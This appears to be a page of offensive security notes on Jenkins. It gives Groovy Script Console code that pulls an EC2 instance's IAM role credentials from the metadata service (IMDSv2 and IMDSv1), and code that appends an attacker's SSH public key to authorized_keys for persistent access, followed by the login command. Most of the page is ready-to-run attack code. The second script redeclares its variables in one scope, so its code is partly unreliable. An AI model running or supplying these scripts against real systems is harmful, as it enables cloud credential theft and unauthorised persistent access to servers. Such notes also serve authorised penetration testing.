Jenkins

Random info about Jenkins

Obtain EC2 Credentials from IMDSv2 with Script Console

  • If Jenkins is running on an AWS EC2 instance that has an underlying Instance Profile, it's possible to obtain the credentials by interacting with the IMDS service

  • If IMDSv1 is used, we can achieve the same by querying IMDS without the $TOKEN

// Step 1: Retrieve the IMDSv2 token
def tokenCommand = '''
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
'''
def tokenProcess = ["bash", "-c", tokenCommand].execute()
def token = tokenProcess.text.trim()

// Step 2: Use the token to fetch IAM role credentials
def metadataCommand = '''
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<instance-role>
'''.replace('$TOKEN', token) // Inject the token into the command
def metadataProcess = ["bash", "-c", metadataCommand].execute()
def metadataOutput = metadataProcess.text.trim()

// Output the IAM Role credentials
println metadataOutput

SSH Persistence with Script Console

  • We can upload our public SSH key to the Jenkins server, allowing us SSH access (provided SSH is enabled)

// create authorized_keys file if it doesn't exist
def command = "mkdir ~/.ssh && touch ~/.ssh/authorized_keys"
def shell = "/bin/bash" // or /bin/sh, depending on your system
def process = ["$shell", "-c", command]. execute()
process.waitFor ()

// Check for success
if(process.exitValue() == 0) {
	println "Command executed successfully. Output:"
	// Reading the standard output
	process.in.eachLine { line ->
		println line
	}
}
// upload public ssh key (cat ~/.ssh/mykey.pub)
def command = "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAC....' >> ~/.ssh/authorized_keys"
def shell = "/bin/bash" // or /bin/sh, depending on your system
def process = ["$shell", "-c", command]. execute()
process.waitFor ()

// Check for success
if(process.exitValue() == 0) {
	println "Command executed successfully. Output:"
	// Reading the standard output
	process.in.eachLine { line ->
		println line
	}
}
# ssh into jenkins server
ssh -o "IdentitiesOnly=yes" -i mykey user@host

Last updated